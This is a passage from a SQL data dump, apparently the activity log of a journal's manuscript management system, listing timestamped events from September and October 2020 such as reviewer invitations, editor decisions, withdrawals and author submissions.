article',6025,'Publisher',248),(50823,'2020-09-28 05:52:04','Publisher has been Withdrawn  article',6050,'Publisher',248),(50824,'2020-09-28 05:52:15','Publisher has been Withdrawn  article',6051,'Publisher',248),(50825,'2020-09-28 06:39:33','Reviewer has submitted comments',6204,'Reviewer',12875),(50830,'2020-09-28 07:05:00','Publisher has been Assigned Editor',6136,'Publisher',645),(50839,'2020-09-28 08:44:24','Reviewer has submitted comments',6064,'Reviewer',8796),(50840,'2020-09-28 08:45:10','Publisher : Notified Editor',6064,'Publisher',645),(50841,'2020-09-28 08:46:10','Editor has Accepted to review Manuscript',6064,'Editor',634),(50842,'2020-09-28 08:46:41','Editor has been Editor Decision Accepted article',6064,'Editor',634),(50843,'2020-09-28 08:48:06','Publisher: Accept Notification has been sent to Author',6064,'Publisher',645),(50844,'2020-09-28 08:50:04','Publisher has been Accepted Articles  article',6064,'Publisher',645),(50845,'2020-09-28 08:52:02','Reviewer has submitted comments',6076,'Reviewer',10779),(50846,'2020-09-28 08:53:12','Editor has Accepted to review Manuscript',6076,'Editor',633),(50847,'2020-09-28 08:54:51','Publisher : Notified Editor',6076,'Publisher',645),(50848,'2020-09-28 08:55:51','Editor has been Editor Decision Accepted article',6076,'Editor',633),(50849,'2020-09-28 08:57:10','Publisher: Accept Notification has been sent to Author',6076,'Publisher',645),(50850,'2020-09-28 09:00:25','Publisher has Invited Reviewer',5071,'Publisher',645),(50851,'2020-09-28 09:03:25','Reviewer has submitted comments',5071,'Reviewer',10779),(50852,'2020-09-28 09:05:44','Publisher : Notified Editor',5071,'Publisher',645),(50853,'2020-09-28 09:06:40','Editor has Accepted to review Manuscript',5071,'Editor',633),(50854,'2020-09-28 09:07:09','Editor has been Editor Decision Accepted article',5071,'Editor',633),(50855,'2020-09-28 09:07:52','Publisher: Accept Notification has been sent to Author',5071,'Publisher',645),(50856,'2020-09-28 09:08:08','Publisher has been Accepted Articles  article',5071,'Publisher',645),(50889,'2020-09-28 12:04:10','Publisher has been Assigned Editor',6237,'Publisher',84),(50892,'2020-09-28 12:08:02','Publisher has been Assigned Editor',6229,'Publisher',376),(50893,'2020-09-28 12:08:20','Publisher has been Assigned Editor',6227,'Publisher',376),(50895,'2020-09-28 12:43:56','Publisher has been Assigned Editor',6238,'Publisher',645),(50913,'2020-09-28 14:21:01','Publisher has been Assigned Editor',6235,'Publisher',319),(50914,'2020-09-28 14:21:39','Publisher has been Accepted Articles  article',5332,'Publisher',319),(50916,'2020-09-28 16:20:43','Editor has Accepted to review Manuscript',6235,'Editor',1067),(50918,'2020-09-28 22:03:57','Manuscript Submitted by Author',6253,'Author',7400),(50921,'2020-09-29 03:09:52','Publisher has been Assigned Editor',6232,'Publisher',75),(50922,'2020-09-29 03:43:42','Publisher has been Withdrawn  article',5655,'Publisher',319),(50923,'2020-09-29 03:44:49','Publisher has been Withdrawn  article',5656,'Publisher',319),(50924,'2020-09-29 03:46:41','Editor has been Editor Decision Accepted article',5907,'Editor',1067),(50925,'2020-09-29 04:13:22','Editor has been Revise (Notify Author) article',5948,'Editor',1067),(50926,'2020-09-29 04:17:59','Editor has been Revise (Notify Author) article',5959,'Editor',1067),(50930,'2020-09-29 04:21:31','Editor has been Revise (Notify Author) article',6160,'Editor',1067),(50931,'2020-09-29 04:24:23','Editor has been Revise (Notify Author) article',6204,'Editor',1067),(50950,'2020-09-29 06:00:26','Publisher has Invited Reviewer',6235,'Publisher',319),(50951,'2020-09-29 06:00:27','Publisher has Invited Reviewer',6235,'Publisher',319),(50952,'2020-09-29 06:00:28','Publisher has Invited Reviewer',6235,'Publisher',319),(50953,'2020-09-29 06:00:29','Publisher has Invited Reviewer',6235,'Publisher',319),(50954,'2020-09-29 06:00:30','Publisher has Invited Reviewer',6235,'Publisher',319),(50955,'2020-09-29 06:00:31','Publisher has Invited Reviewer',6235,'Publisher',319),(50956,'2020-09-29 06:00:32','Publisher has Invited Reviewer',6235,'Publisher',319),(50957,'2020-09-29 06:00:32','Publisher has Invited Reviewer',6235,'Publisher',319),(50958,'2020-09-29 06:00:33','Publisher has Invited Reviewer',6235,'Publisher',319),(50977,'2020-09-29 09:04:54','Editor has Accepted to review Manuscript',6223,'Editor',1410),(50979,'2020-09-29 09:45:25','Publisher has been Assigned Editor',6234,'Publisher',85),(50980,'2020-09-29 09:45:58','Publisher has Invited Reviewer',6234,'Publisher',85),(50981,'2020-09-29 09:45:59','Publisher has Invited Reviewer',6234,'Publisher',85),(50982,'2020-09-29 09:46:00','Publisher has Invited Reviewer',6234,'Publisher',85),(50983,'2020-09-29 09:46:01','Publisher has Invited Reviewer',6234,'Publisher',85),(50984,'2020-09-29 09:46:02','Publisher has Invited Reviewer',6234,'Publisher',85),(50985,'2020-09-29 09:46:43','Publisher has Invited Reviewer',6234,'Publisher',85),(50986,'2020-09-29 09:46:44','Publisher has Invited Reviewer',6234,'Publisher',85),(50987,'2020-09-29 09:46:45','Publisher has Invited Reviewer',6234,'Publisher',85),(50988,'2020-09-29 09:46:46','Publisher has Invited Reviewer',6234,'Publisher',85),(50989,'2020-09-29 09:46:47','Publisher has Invited Reviewer',6234,'Publisher',85),(50990,'2020-09-29 09:46:48','Publisher has Invited Reviewer',6234,'Publisher',85),(50991,'2020-09-29 09:46:49','Publisher has Invited Reviewer',6234,'Publisher',85),(50994,'2020-09-29 10:00:43','Editor has been Editor Decision Accepted article',6223,'Editor',1410),(50995,'2020-09-29 10:01:27','Editor has Accepted to review Manuscript',6213,'Editor',1410),(50996,'2020-09-29 10:01:55','Editor has been Editor Decision Accepted article',6213,'Editor',1410),(50997,'2020-09-29 10:02:03','Editor has Accepted to review Manuscript',6170,'Editor',1410),(50998,'2020-09-29 10:02:19','Editor has been Editor Decision Accepted article',6170,'Editor',1410),(50999,'2020-09-29 10:02:32','Editor has Accepted to review Manuscript',6058,'Editor',1410),(51000,'2020-09-29 10:03:14','Editor has been Editor Decision Accepted article',6058,'Editor',1410),(51001,'2020-09-29 10:03:24','Editor has Accepted to review Manuscript',6041,'Editor',1410),(51002,'2020-09-29 10:03:45','Editor has been Editor Decision Accepted article',6041,'Editor',1410),(51003,'2020-09-29 10:03:59','Editor has Accepted to review Manuscript',5857,'Editor',1410),(51004,'2020-09-29 10:04:10','Editor has been Editor Decision Accepted article',5857,'Editor',1410),(51005,'2020-09-29 10:04:18','Editor has Accepted to review Manuscript',5747,'Editor',1410),(51006,'2020-09-29 10:04:34','Editor has been Editor Decision Accepted article',5747,'Editor',1410),(51007,'2020-09-29 10:04:41','Editor has Accepted to review Manuscript',5550,'Editor',1410),(51008,'2020-09-29 10:04:55','Editor has been Editor Decision Accepted article',5550,'Editor',1410),(51016,'2020-09-29 10:16:04','Publisher has Invited Reviewer',6217,'Publisher',85),(51017,'2020-09-29 10:16:05','Publisher has Invited Reviewer',6217,'Publisher',85),(51018,'2020-09-29 10:16:06','Publisher has Invited Reviewer',6217,'Publisher',85),(51019,'2020-09-29 10:16:07','Publisher has Invited Reviewer',6217,'Publisher',85),(51020,'2020-09-29 10:16:08','Publisher has Invited Reviewer',6217,'Publisher',85),(51021,'2020-09-29 10:16:09','Publisher has Invited Reviewer',6217,'Publisher',85),(51022,'2020-09-29 10:16:10','Publisher has Invited Reviewer',6217,'Publisher',85),(51023,'2020-09-29 10:16:10','Publisher has Invited Reviewer',6217,'Publisher',85),(51047,'2020-09-29 12:13:43','Reviewer has submitted comments',6235,'Reviewer',12875),(51048,'2020-09-29 14:17:17','Publisher has Invited Reviewer',6229,'Publisher',376),(51049,'2020-09-29 14:17:21','Publisher has Invited Reviewer',6229,'Publisher',376),(51050,'2020-09-29 14:17:26','Publisher has Invited Reviewer',6229,'Publisher',376),(51051,'2020-09-29 14:17:30','Publisher has Invited Reviewer',6229,'Publisher',376),(51052,'2020-09-29 14:17:59','Publisher has Invited Reviewer',6227,'Publisher',376),(51053,'2020-09-29 14:18:04','Publisher has Invited Reviewer',6227,'Publisher',376),(51054,'2020-09-29 14:18:08','Publisher has Invited Reviewer',6227,'Publisher',376),(51055,'2020-09-29 14:18:13','Publisher has Invited Reviewer',6227,'Publisher',376),(51057,'2020-09-29 15:01:09','Manuscript Submitted by Author',6261,'Author',6984),(51058,'2020-09-29 15:04:02','Author sent Email',5766,'Author',6984),(51059,'2020-09-29 22:22:17','Manuscript Submitted by Author using Submission form',6264,'Author',7516),(51060,'2020-09-30 02:38:14','Publisher has been Assigned Editor',6242,'Publisher',75),(51061,'2020-09-30 02:38:36','Publisher has been Assigned Editor',6253,'Publisher',75),(51082,'2020-09-30 07:38:21','Manuscript Submitted by Publisher',6273,'Publisher',673),(51088,'2020-09-30 08:04:27','Manuscript Submitted by Publisher',6274,'Publisher',673),(51095,'2020-09-30 10:01:01','Publisher has been Assigned Editor',6261,'Publisher',274),(51143,'2020-09-30 13:19:18','Publisher has Invited Reviewer',6026,'Publisher',248),(51144,'2020-09-30 13:19:19','Publisher has Invited Reviewer',6026,'Publisher',248),(51145,'2020-09-30 13:19:20','Publisher has Invited Reviewer',6026,'Publisher',248),(51146,'2020-09-30 13:19:21','Publisher has Invited Reviewer',6026,'Publisher',248),(51147,'2020-09-30 13:19:22','Publisher has Invited Reviewer',6026,'Publisher',248),(51148,'2020-09-30 13:20:57','Reviewer has submitted comments',6026,'Reviewer',9108),(51149,'2020-09-30 13:20:58','Reviewer has submitted comments',6026,'Reviewer',9108),(51150,'2020-09-30 13:21:41','Publisher : Notified Editor',6026,'Publisher',248),(51151,'2020-09-30 13:22:10','Editor has Accepted to review Manuscript',6026,'Editor',359),(51152,'2020-09-30 13:22:23','Editor has been Editor Decision Accepted article',6026,'Editor',359),(51153,'2020-09-30 13:23:01','Publisher: Accept Notification has been sent to Author',6026,'Publisher',248),(51154,'2020-09-30 13:23:34','Publisher has been Assigned Editor',6239,'Publisher',248),(51155,'2020-09-30 13:23:47','Publisher has been Accepted Articles  article',6026,'Publisher',248),(51156,'2020-09-30 15:49:27','Manuscript Submitted by Author using Submission form',6279,'Author',7515),(51157,'2020-09-30 15:58:18','Manuscript Submitted by Author',6282,'Author',5004),(51164,'2020-10-01 02:43:12','Publisher has been Assigned Editor',6264,'Publisher',75),(51180,'2020-10-01 05:08:20','Publisher has been Accepted Articles  article',6076,'Publisher',645),(51187,'2020-10-01 07:13:47','Author sent Email',4194,'Author',5405),(51193,'2020-10-01 09:57:27','Manuscript Submitted by Author',6292,'Author',7537),(51224,'2020-10-01 12:18:08','Publisher has been Assigned Editor',6274,'Publisher',673),(51225,'2020-10-01 12:18:29','Publisher has been Assigned Editor',6273,'Publisher',673),(51226,'2020-10-01 12:19:23','Publisher has Invited Reviewer',6274,'Publisher',673),(51227,'2020-10-01 12:19:24','Publisher has Invited Reviewer',6274,'Publisher',673),(51228,'2020-10-01 12:19:25','Publisher has Invited Reviewer',6274,'Publisher',673),(51229,'2020-10-01 12:19:55','Publisher has Invited Reviewer',6273,'Publisher',673),(51230,'2020-10-01 12:19:55','Publisher has Invited Reviewer',6273,'Publisher',673),(51231,'2020-10-01 12:19:56','Publisher has Invited Reviewer',6273,'Publisher',673),(51244,'2020-10-01 13:56:56','Publisher has been Assigned Editor',6282,'Publisher',85),(51245,'2020-10-01 13:57:44','Publisher has Invited Reviewer',6282,'Publisher',85),(51246,'2020-10-01 13:57:45','Publisher has Invited Reviewer',6282,'Publisher',85),(51247,'2020-10-01 13:57:45','Publisher has Invited Reviewer',6282,'Publisher',85),(51248,'2020-10-01 13:57:45','Publisher has Invited Reviewer',6282,'Publisher',85),(51249,'2020-10-01 13:57:46','Publisher has Invited Reviewer',6282,'Publisher',85),(51250,'2020-10-01 13:57:46','Publisher has Invited Reviewer',6282,'Publisher',85),(51251,'2020-10-01 13:57:46','Publisher has Invited Reviewer',6282,'Publisher',85),(51252,'2020-10-01 13:57:47','Publisher has Invited Reviewer',6282,'Publisher',85),(51253,'2020-10-01 13:57:47','Publisher has Invited Reviewer',6282,'Publisher',85),(51254,'2020-10-01 13:57:48','Publisher has Invited Reviewer',6282,'Publisher',85),(51255,'2020-10-01 13:57:48','Publisher has Invited Reviewer',6282,'Publisher',85),(51258,'2020-10-02 12:49:22','Reviewer has submitted comments',6282,'Reviewer',13720),(51259,'2020-10-02 12:49:25','Reviewer has submitted comments',6282,'Reviewer',13720),(51260,'2020-10-02 12:49:26','Reviewer has submitted comments',6282,'Reviewer',13720),(51261,'2020-10-02 12:49:27','Reviewer has submitted comments',6282,'Reviewer',13720),(51289,'2020-10-03 06:46:52','Publisher has Invited Reviewer',6237,'Publisher',84),(51290,'2020-10-03 06:46:57','Publisher has Invited Reviewer',6237,'Publisher',84),(51291,'2020-10-03 06:47:01','Publisher has Invited Reviewer',6237,'Publisher',84),(51292,'2020-10-03 06:47:06','Publisher has Invited Reviewer',6237,'Publisher',84),(51293,'2020-10-03 06:47:10','Publisher has Invited Reviewer',6237,'Publisher',84),(51294,'2020-10-03 06:47:15','Publisher has Invited Reviewer',6237,'Publisher',84),(51295,'2020-10-03 06:47:19','Publisher has Invited Reviewer',6237,'Publisher',84),(51296,'2020-10-03 06:47:24','Publisher has Invited Reviewer',6237,'Publisher',84),(51297,'2020-10-03 06:47:28','Publisher has Invited Reviewer',6237,'Publisher',84),(51298,'2020-10-03 06:47:34','Publisher has Invited Reviewer',6237,'Publisher',84),(51299,'2020-10-03 06:47:38','Publisher has Invited Reviewer',6237,'Publisher',84),(51300,'2020-10-03 06:47:43','Publisher has Invited Reviewer',6237,'Publisher',84),(51301,'2020-10-03 06:55:43','Publisher has Invited Reviewer',6237,'Publisher',84),(51302,'2020-10-03 06:55:48','Publisher has Invited Reviewer',6237,'Publisher',84),(51303,'2020-10-03 06:55:57','Publisher has Invited Reviewer',6237,'Publisher',84),(51304,'2020-10-03 06:56:02','Publisher has Invited Reviewer',6237,'Publisher',84),(51305,'2020-10-03 06:56:06','Publisher has Invited Reviewer',6237,'Publisher',84),(51306,'2020-10-03 06:56:11','Publisher has Invited Reviewer',6237,'Publisher',84),(51307,'2020-10-03 06:56:20','Publisher has Invited Reviewer',6237,'Publisher',84),(51324,'2020-10-03 09:25:38','Publisher has Invited Reviewer',6273,'Publisher',673),(51325,'2020-10-03 09:25:39','Publisher has Invited Reviewer',6273,'Publisher',673),(51326,'2020-10-03 09:25:39','Publisher has Invited Reviewer',6273,'Publisher',673),(51327,'2020-10-03 09:25:40','Publisher has Invited Reviewer',6273,'Publisher',673),(51328,'2020-10-03 09:35:47','Publisher has Invited Reviewer',6274,'Publisher',673),(51329,'2020-10-03 09:35:48','Publisher has Invited Reviewer',6274,'Publisher',673),(51330,'2020-10-03 09:35:48','Publisher has Invited Reviewer',6274,'Publisher',673),(51331,'2020-10-03 09:35:49','Publisher has Invited Reviewer',6274,'Publisher',673),(51333,'2020-10-03 11:41:29','Publisher has Invited Reviewer',6229,'Publisher',376),(51334,'2020-10-03 11:41:33','Publisher has Invited Reviewer',6229,'Publisher',376),(51335,'2020-10-03 11:41:38','Publisher has Invited Reviewer',6229,'Publisher',376),(51336,'2020-10-03 11:41:42','Publisher has Invited Reviewer',6229,'Publisher',376),(51337,'2020-10-03 11:41:47','Publisher has Invited Reviewer',6229,'Publisher',376),(51338,'2020-10-03 11:42:25','Publisher has Invited Reviewer',6227,'Publisher',376),(51339,'2020-10-03 11:42:30','Publisher has Invited Reviewer',6227,'Publisher',376),(51340,'2020-10-03 11:42:34','Publisher has Invited Reviewer',6227,'Publisher',376),(51341,'2020-10-03 11:42:39','Publisher has Invited Reviewer',6227,'Publisher',376),(51342,'2020-10-03 11:42:43','Publisher has Invited Reviewer',6227,'Publisher',376),(51343,'2020-10-03 11:43:17','Publisher has Invited Reviewer',6165,'Publisher',376),(51344,'2020-10-03 11:43:22','Publisher has Invited Reviewer',6165,'Publisher',376),(51345,'2020-10-03 11:43:54','Publisher has Invited Reviewer',6139,'Publisher',376),(51346,'2020-10-03 11:43:59','Publisher has Invited Reviewer',6139,'Publisher',376),(51347,'2020-10-03 11:44:38','Publisher has Invited Reviewer',6043,'Publisher',376),(51348,'2020-10-03 11:44:43','Publisher has Invited Reviewer',6043,'Publisher',376),(51349,'2020-10-03 11:44:47','Publisher has Invited Reviewer',6043,'Publisher',376),(51350,'2020-10-03 11:44:52','Publisher has Invited Reviewer',6043,'Publisher',376),(51351,'2020-10-03 11:45:35','Publisher has Invited Reviewer',6085,'Publisher',376),(51352,'2020-10-03 11:45:39','Publisher has Invited Reviewer',6085,'Publisher',376),(51353,'2020-10-03 11:45:44','Publisher has Invited Reviewer',6085,'Publisher',376),(51354,'2020-10-03 11:45:48','Publisher has Invited Reviewer',6085,'Publisher',376),(51355,'2020-10-03 13:03:08','Reviewer has submitted comments',6229,'Reviewer',7303),(51365,'2020-10-03 18:10:38','Publisher has Invited Reviewer',6234,'Publisher',85),(51366,'2020-10-03 18:10:39','Publisher has Invited Reviewer',6234,'Publisher',85),(51367,'2020-10-03 18:10:40','Publisher has Invited Reviewer',6234,'Publisher',85),(51368,'2020-10-03 18:10:40','Publisher has Invited Reviewer',6234,'Publisher',85),(51369,'2020-10-03 18:10:41','Publisher has Invited Reviewer',6234,'Publisher',85),(51370,'2020-10-03 18:18:41','Publisher has Invited Reviewer',6217,'Publisher',85),(51371,'2020-10-03 18:18:42','Publisher has Invited Reviewer',6217,'Publisher',85),(51372,'2020-10-03 18:18:43','Publisher has Invited Reviewer',6217,'Publisher',85),(51373,'2020-10-03 18:19:00','Publisher has Invited Reviewer',6217,'Publisher',85),(51374,'2020-10-03 18:19:01','Publisher has Invited Reviewer',6217,'Publisher',85),(51376,'2020-10-03 18:42:43','Publisher has been Accepted Articles  article',6013,'Publisher',85),(51377,'2020-10-03 18:42:58','Publisher has been Accepted Articles  article',5994,'Publisher',85),(51378,'2020-10-03 18:43:11','Publisher has been Accepted Articles  article',5734,'Publisher',85),(51381,'2020-10-04 02:09:48','Author sent Email',5734,'Author',6959),(51394,'2020-10-05 03:47:27','Editor has Accepted to review Manuscript',6262,'Editor',194),(51395,'2020-10-05 03:47:38','Editor has been Editor Decision Accepted article',6262,'Editor',194),(51434,'2020-10-05 07:40:55','Manuscript Submitted by Author using Submission form',6316,'Author',7562),(51451,'2020-10-05 08:47:25','Manuscript Submitted by Author',6318,'Author',7515),(51509,'2020-10-05 12:42:04','Author sent Email',5712,'Author',6934),(51518,'2020-10-06 02:51:43','Publisher has been Assigned Editor',6279,'Publisher',75),(51522,'2020-10-06 04:43:58','Publisher has been Withdrawn  article',5962,'Publisher',248),(51523,'2020-10-06 05:22:09','Editor has Accepted to review Manuscript',6245,'Editor',194),(51524,'2020-10-06 05:22:21','Editor has been Editor Decision Accepted article',6245,'Editor',194),(51563,'2020-10-06 10:39:30','Publisher : Notified Editor',6067,'Publisher',85),(51564,'2020-10-06 10:40:16','Publisher : Notified Editor',6282,'Publisher',85),(51565,'2020-10-06 10:40:46','Editor has Accepted to review Manuscript',6282,'Editor',204),(51566,'2020-10-06 10:41:11','Editor has been Revise (Notify Author) article',6282,'Editor',204),(51567,'2020-10-06 10:41:18','Editor has Accepted to review Manuscript',6067,'Editor',204),(51568,'2020-10-06 10:41:30','Editor has been Editor Decision Accepted article',6067,'Editor',204),(51570,'2020-10-06 10:43:25','Publisher : Notified Author',6282,'Publisher',85),(51599,'2020-10-06 12:44:20','Publisher: Accept Notification has been sent to Author',5907,'Publisher',319),(51600,'2020-10-06 12:46:32','Publisher : Notified Author',5948,'Publisher',319),(51601,'2020-10-06 12:47:27','Publisher : Notified Author',5959,'Publisher',319),(51602,'2020-10-06 12:48:13','Publisher : Notified Author',6160,'Publisher',319),(51603,'2020-10-06 12:50:17','Publisher : Notified Author',6204,'Publisher',319),(51605,'2020-10-06 15:58:45','Manuscript Submitted by Author using Submission form',6328,'Author',7573),(51609,'2020-10-07 05:40:21','Publisher has been Assigned Editor',6316,'Publisher',75),(51610,'2020-10-07 05:40:41','Publisher has been Assigned Editor',6318,'Publisher',75),(51636,'2020-10-07 07:09:55','Reviewer has submitted comments',6274,'Reviewer',11354),(51641,'2020-10-07 07:56:54','Manuscript has been Revised',5959,'Author',7190),(51643,'2020-10-07 10:29:26','Publisher has Invited Reviewer',6273,'Publisher',673),(51644,'2020-10-07 10:31:51','Editor has Accepted to review Manuscript',6274,'Editor',1456),(51645,'2020-10-07 10:32:13','Editor has been Editor Decision Accepted article',6274,'Editor',1456),(51659,'2020-10-07 12:08:50','Publisher has been Assigned Editor',6328,'Publisher',673),(51660,'2020-10-07 12:26:40','Publisher has Invited Reviewer',6328,'Publisher',673),(51661,'2020-10-07 12:26:41','Publisher has Invited Reviewer',6328,'Publisher',673),(51662,'2020-10-07 12:26:41','Publisher has Invited Reviewer',6328,'Publisher',673),(51663,'2020-10-07 12:38:39','Publisher has Invited Reviewer',6328,'Publisher',673),(51664,'2020-10-07 12:38:39','Publisher has Invited Reviewer',6328,'Publisher',673),(51673,'2020-10-07 14:07:22','Publisher: Accept Notification has been sent to Author',6067,'Publisher',85),(51677,'2020-10-07 17:21:10','Manuscript has been Revised',5948,'Author',7176),(51679,'2020-10-07 20:06:48','Author sent Email',6282,'Author',5004),(51682,'2020-10-07 22:09:42','Manuscript Submitted by Author',6340,'Author',7586),(51683,'2020-10-08 00:20:26','Author sent Email',5245,'Author',6436),(51707,'2020-10-08 07:57:46','Publisher has Invited Reviewer',6234,'Publisher',85),(51729,'2020-10-08 13:30:10','Reviewer has submitted comments',6234,'Reviewer',8997),(51730,'2020-10-08 13:32:47','Publisher has Invited Reviewer',6181,'Publisher',75),(51731,'2020-10-08 13:32:51','Publisher has Invited Reviewer',6181,'Publisher',75),(51732,'2020-10-08 13:32:56','Publisher has Invited Reviewer',6181,'Publisher',75),(51733,'2020-10-08 13:33:00','Publisher has Invited Reviewer',6181,'Publisher',75),(51734,'2020-10-08 13:33:05','Publisher has Invited Reviewer',6181,'Publisher',75),(51735,'2020-10-08 13:33:09','Publisher has Invited Reviewer',6181,'Publisher',75),(51736,'2020-10-08 13:33:14','Publisher has Invited Reviewer',6181,'Publisher',75),(51737,'2020-10-08 13:33:18','Publisher has Invited Reviewer',6181,'Publisher',75),(51738,'2020-10-08 13:33:23','Publisher has Invited Reviewer',6181,'Publisher',75),(51739,'2020-10-08 13:33:27','Publisher has Invited Reviewer',6181,'Publisher',75),(51740,'2020-10-08 13:34:06','Publisher has Invited Reviewer',6232,'Publisher',75),(51741,'2020-10-08 13:34:11','Publisher has Invited Reviewer',6232,'Publisher',75),(51742,'2020-10-08 13:34:16','Publisher has Invited Reviewer',6232,'Publisher',75),(51743,'2020-10-08 13:34:20','Publisher has Invited Reviewer',6232,'Publisher',75),(51744,'2020-10-08 13:35:10','Publisher has Invited Reviewer',6242,'Publisher',75),(51745,'2020-10-08 13:35:14','Publisher has Invited Reviewer',6242,'Publisher',75),(51746,'2020-10-08 13:35:19','Publisher has Invited Reviewer',6242,'Publisher',75),(51747,'2020-10-08 13:35:23','Publisher has Invited Reviewer',6242,'Publisher',75),(51748,'2020-10-08 13:35:28','Publisher has Invited Reviewer',6242,'Publisher',75),(51749,'2020-10-08 13:35:32','Publisher has Invited Reviewer',6242,'Publisher',75),(51750,'2020-10-08 13:35:37','Publisher has Invited Reviewer',6242,'Publisher',75),(51751,'2020-10-08 13:36:31','Publisher has Invited Reviewer',6253,'Publisher',75),(51752,'2020-10-08 13:36:36','Publisher has Invited Reviewer',6253,'Publisher',75),(51753,'2020-10-08 13:36:40','Publisher has Invited Reviewer',6253,'Publisher',75),(51754,'2020-10-08 13:36:45','Publisher has Invited Reviewer',6253,'Publisher',75),(51755,'2020-10-08 13:37:31','Publisher has Invited Reviewer',6264,'Publisher',75),(51756,'2020-10-08 13:37:54','Publisher has Invited Reviewer',6264,'Publisher',75),(51757,'2020-10-08 13:37:58','Publisher has Invited Reviewer',6264,'Publisher',75),(51758,'2020-10-08 13:38:03','Publisher has Invited Reviewer',6264,'Publisher',75),(51759,'2020-10-08 13:38:07','Publisher has Invited Reviewer',6264,'Publisher',75),(51760,'2020-10-08 13:38:12','Publisher has Invited Reviewer',6264,'Publisher',75),(51761,'2020-10-08 13:38:16','Publisher has Invited Reviewer',6264,'Publisher',75),(51762,'2020-10-08 13:38:51','Publisher has Invited Reviewer',6279,'Publisher',75),(51763,'2020-10-08 13:38:55','Publisher has Invited Reviewer',6279,'Publisher',75),(51764,'2020-10-08 13:39:00','Publisher has Invited Reviewer',6279,'Publisher',75),(51765,'2020-10-08 13:39:05','Publisher has Invited Reviewer',6279,'Publisher',75),(51766,'2020-10-08 13:39:09','Publisher has Invited Reviewer',6279,'Publisher',75),(51767,'2020-10-08 13:39:13','Publisher has Invited Reviewer',6279,'Publisher',75),(51768,'2020-10-08 13:39:18','Publisher has Invited Reviewer',6279,'Publisher',75),(51769,'2020-10-08 13:40:01','Publisher has Invited Reviewer',6316,'Publisher',75),(51770,'2020-10-08 13:40:05','Publisher has Invited Reviewer',6316,'Publisher',75),(51771,'2020-10-08 13:40:10','Publisher has Invited Reviewer',6316,'Publisher',75),(51772,'2020-10-08 13:40:15','Publisher has Invited Reviewer',6316,'Publisher',75),(51773,'2020-10-08 13:42:05','Publisher has Invited Reviewer',5989,'Publisher',75),(51774,'2020-10-08 13:42:09','Publisher has Invited Reviewer',5989,'Publisher',75),(51775,'2020-10-08 13:42:14','Publisher has Invited Reviewer',5989,'Publisher',75),(51776,'2020-10-08 13:42:18','Publisher has Invited Reviewer',5989,'Publisher',75),(51777,'2020-10-08 13:42:23','Publisher has Invited Reviewer',5989,'Publisher',75),(51778,'2020-10-08 13:43:43','Publisher has Invited Reviewer',5712,'Publisher',75),(51779,'2020-10-08 13:43:47','Publisher has Invited Reviewer',5712,'Publisher',75),(51780,'2020-10-08 13:43:52','Publisher has Invited Reviewer',5712,'Publisher',75),(51781,'2020-10-08 13:43:56','Publisher has Invited Reviewer',5712,'Publisher',75),(51782,'2020-10-08 13:44:44','Publisher has Invited Reviewer',5126,'Publisher',75),(51783,'2020-10-08 13:44:49','Publisher has Invited Reviewer',5126,'Publisher',75),(51784,'2020-10-08 13:44:53','Publisher has Invited Reviewer',5126,'Publisher',75),(51785,'2020-10-08 13:44:58','Publisher has Invited Reviewer',5126,'Publisher',75),(51786,'2020-10-08 13:45:46','Publisher has Invited Reviewer',5187,'Publisher',75),(51787,'2020-10-08 13:45:50','Publisher has Invited Reviewer',5187,'Publisher',75),(51788,'2020-10-08 13:45:54','Manuscript Submitted by Author using Submission form',6346,'Author',7594),(51789,'2020-10-08 13:45:55','Publisher has Invited Reviewer',5187,'Publisher',75),(51790,'2020-10-08 13:45:59','Publisher has Invited Reviewer',5187,'Publisher',75),(51791,'2020-10-08 13:47:13','Publisher has Invited Reviewer',5197,'Publisher',75),(51792,'2020-10-08 13:47:18','Publisher has Invited Reviewer',5197,'Publisher',75),(51793,'2020-10-08 13:47:22','Publisher has Invited Reviewer',5197,'Publisher',75),(51794,'2020-10-08 13:47:27','Publisher has Invited Reviewer',5197,'Publisher',75),(51795,'2020-10-08 13:48:12','Publisher has Invited Reviewer',5232,'Publisher',75),(51796,'2020-10-08 13:48:16','Publisher has Invited Reviewer',5232,'Publisher',75),(51797,'2020-10-08 13:48:21','Publisher has Invited Reviewer',5232,'Publisher',75),(51798,'2020-10-08 13:48:26','Publisher has Invited Reviewer',5232,'Publisher',75),(51799,'2020-10-08 13:48:30','Publisher has Invited Reviewer',5232,'Publisher',75),(51800,'2020-10-08 13:48:35','Publisher has Invited Reviewer',5232,'Publisher',75),(51801,'2020-10-08 13:50:34','Publisher has Invited Reviewer',5366,'Publisher',75),(51802,'2020-10-08 13:50:39','Publisher has Invited Reviewer',5366,'Publisher',75),(51803,'2020-10-08 13:50:43','Publisher has Invited Reviewer',5366,'Publisher',75),(51804,'2020-10-08 13:52:07','Publisher has Invited Reviewer',5232,'Publisher',75),(51805,'2020-10-08 13:52:11','Publisher has Invited Reviewer',5232,'Publisher',75),(51806,'2020-10-08 13:52:16','Publisher has Invited Reviewer',5232,'Publisher',75),(51807,'2020-10-08 13:53:23','Publisher has Invited Reviewer',5197,'Publisher',75),(51808,'2020-10-08 13:59:42','Manuscript Submitted by Author using Submission form',6347,'Author',7595),(51809,'2020-10-08 14:10:43','Manuscript Submitted by Author using Submission form',6348,'Author',7596),(51810,'2020-10-08 14:20:16','Manuscript Submitted by Author using Submission form',6349,'Author',7597),(51811,'2020-10-08 14:43:17','Manuscript Submitted by Author using Submission form',6350,'Author',7598),(51812,'2020-10-08 14:54:17','Manuscript Submitted by Author using Submission form',6351,'Author',7599),(51815,'2020-10-08 16:00:18','Author sent Email',6227,'Author',7474),(51834,'2020-10-09 09:05:07','Publisher has Invited Reviewer',6328,'Publisher',673),(51835,'2020-10-09 09:05:08','Publisher has Invited Reviewer',6328,'Publisher',673),(51836,'2020-10-09 09:05:08','Publisher has Invited Reviewer',6328,'Publisher',673),(51838,'2020-10-09 09:15:00','Publisher has Invited Reviewer',6273,'Publisher',673),(51839,'2020-10-09 09:15:01','Publisher has Invited Reviewer',6273,'Publisher',673),(51840,'2020-10-09 09:15:01','Publisher has Invited Reviewer',6273,'Publisher',673),(51841,'2020-10-09 09:15:02','Publisher has Invited Reviewer',6273,'Publisher',673),(51842,'2020-10-09 10:29:52','Publisher has Invited Reviewer',6328,'Publisher',673),(51843,'2020-10-09 10:29:52','Publisher has Invited Reviewer',6328,'Publisher',673),(51854,'2020-10-09 12:06:14','Reviewer has submitted comments',6273,'Reviewer',14805),(51866,'2020-10-09 14:07:00','Publisher has been Assigned Editor',6349,'Publisher',85),(51867,'2020-10-09 14:07:13','Publisher has been Assigned Editor',6348,'Publisher',85),(51868,'2020-10-09 14:07:24','Publisher has been Assigned 